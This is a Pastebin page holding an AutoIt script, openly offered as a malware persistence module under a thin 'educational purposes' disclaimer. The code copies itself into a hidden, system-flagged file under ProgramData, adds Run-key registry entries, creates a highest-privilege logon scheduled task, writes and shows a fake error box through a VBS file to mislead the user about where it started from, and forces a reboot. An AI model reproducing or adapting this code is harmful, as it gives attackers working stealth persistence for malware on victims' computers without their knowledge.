Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #cs ----------------------------------------------------------------------------
- AutoIt Version: 3.3.15.0 (Beta)
- Author: Candyland
- First Word:
- This Script was Created for Educational Purposes. The Script is able to Startup Malware(etc.).
- Look on the Laws of your Country when infecting others People Computers, its may Illeagle.
- Licens: CC-BY-NC readable here: https://creativecommons.org/licenses/by-nc/3.0/de/
- Script Function:
- Autoit3 Startup Method. Some User wont have UAC on(may they got infected befor or they dont like the popups),
- So the Script will Choose the Startup Method by checking if it has Admin Priviliges.(0=RegistryStartup,1=TaskShedulderStartup)
- First Steps:
- Script is Installing itself to the $IPath Directory and will name itself $name
- After it, it checks if the Installed Process allready exists, if so kill process.
- After it, it checks if the File may already exists in that Folder with the same name, if so delete file.
- After it, it checks if the Process isnt existing and the file to, if so the Dir will be created(noerror) and the File copying itself to $IPath & $name.
- The Script will give itself the Hidden, System and Archive File status. So its quiet hidden and cant been seen by CMD.
- It also will be created an Registry Startup just to make sure that the file is restarting itself.(so if not the next PC start will do it)
- Second Steps:
- So if the Script gets AdminPriviliges the script will Querry the TaskSheduler if a Task with the name $taskname exists.
- @ComSpec is outputing a file named $txtname. The file will be readed and checked if there is on the 5th Line the $taskname. If not the Task will Created.
- An ErrorMsg will also being Created in .vbs so when it will get Run the user is not able to see where it was Started from. (Properties->Windows->System32 not $IPath)
- After quiet a time the Error appears and the Computer should be restarted soon. After restart the Script has Admin Priviliges!
- There will also being an Registry Entry made for HKLM64 which is only being acessible when getting AdminP. With that the Script will
- start itself on other Users on the same Computer to.
- If the Script does not get Admin Priviliges it will simply create an Registry Entry.
- Whenever the Script gets AdminP, even when its installed, the Task in the TaskSheduler will be created.
- To Delete the Task in the Sheduler open the CMD with AdminPriviliges and type: schtasks /DELETE /TN "$taskname" /F
- #ce ----------------------------------------------------------------------------
- Local $IPath = "C:\ProgramData\Startup\"
- Local $name = "Huhn.au3"
- Local $taskname = "TEST01"
- Local $AutorunHKLM64 = "TESTStartup"
- Local $AutorunHKCU = "TESTStartup"
- Local $vbsname = "fakeerror.vbs"
- Local $vbspath = @ScriptDir & '\' & $vbsname
- Local $txtname = "Tog.log"
- Local $txtpath = @ScriptDir & '\' & $txtname
- Local $install = $IPath & $name
- Local $admin = IsAdmin()
- Local $Addinstall = 1
- Local $AddStartup = 1
- Local $osa = @OSArch
- If $Addinstall = 0 Then
- Local $AddStartup = 0
- EndIf
- If $Addinstall = 1 Then
- If Not FileExists($vbspath) Then
- If @ScriptName <> $name Then
- If ProcessExists($name) Then
- ProcessClose($name)
- ProcessWaitClose($name)
- EndIf
- If FileExists($install) Then
- $GetAttrip = FileGetAttrib($install)
- If $GetAttrip = "ASH" Then
- FileSetAttrib($install, "-ASH")
- EndIf
- FileDelete($install)
- EndIf
- If Not ProcessExists($name) Then
- If Not FileExists($install) Then
- DirCreate($IPath)
- FileCopy(@ScriptFullPath, $install)
- FileSetAttrib($install, "+ASH")
- RegWrite("HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKCU, "REG_SZ", $install)
- ShellExecute($install)
- Exit
- EndIf
- EndIf
- Exit
- EndIf
- EndIf
- EndIf
- If $AddStartup = 1 Then
- If FileExists($txtpath) Then FileDelete($txtpath)
- If FileExists($vbspath) Then FileDelete($vbspath)
- If $admin = 1 Then
- $StartSleeptimer = "2000"
- $Cmdqu = 'schtasks.exe /QUERY /TN "' & $taskname & '" >' & $txtname
- $CmdSch = 'schtasks /CREATE /TN "' & $taskname & '" /TR "' & $install & '" ' & '/SC ONLOGON' & ' /RL HIGHEST'
- $Cmdvbs = 'echo Msgbox"For Several Reasons your Computer have to be Restarted",64,"Think about your own Msg" >' & $vbsname
- RunWait(@ComSpec & ' /C ' & $Cmdqu & @CRLF & "EXIT", @ScriptDir, @SW_HIDE)
- Sleep(1000)
- $FRead = FileReadLine($txtpath, 5)
- If Not StringInStr($FRead, $taskname) Then
- FileDelete($txtpath)
- RunWait(@ComSpec & ' /C ' & $CmdSch & @CRLF & "EXIT", @ScriptDir, @SW_HIDE)
- Sleep(1000)
- RunWait(@ComSpec & ' /C ' & $Cmdvbs & @CRLF & "EXIT", @ScriptDir, @SW_HIDE)
- Sleep($StartSleeptimer)
- ShellExecute($vbspath)
- Sleep(1000)
- FileDelete($vbspath)
- Shutdown(6)
- Sleep(1000)
- Exit
- EndIf
- if $osa = "X64" Then
- RegWrite("HKLM64\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKLM64, "REG_SZ", $install)
- Else
- RegWrite("HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKLM64, "REG_SZ", $install)
- EndIf
- RegDelete("HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKCU)
- FileDelete($txtpath)
- Else
- RegWrite("HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", $AutorunHKCU, "REG_SZ", $install)
- EndIf
- EndIf
Advertisement
Add Comment
Please, Sign In to add comment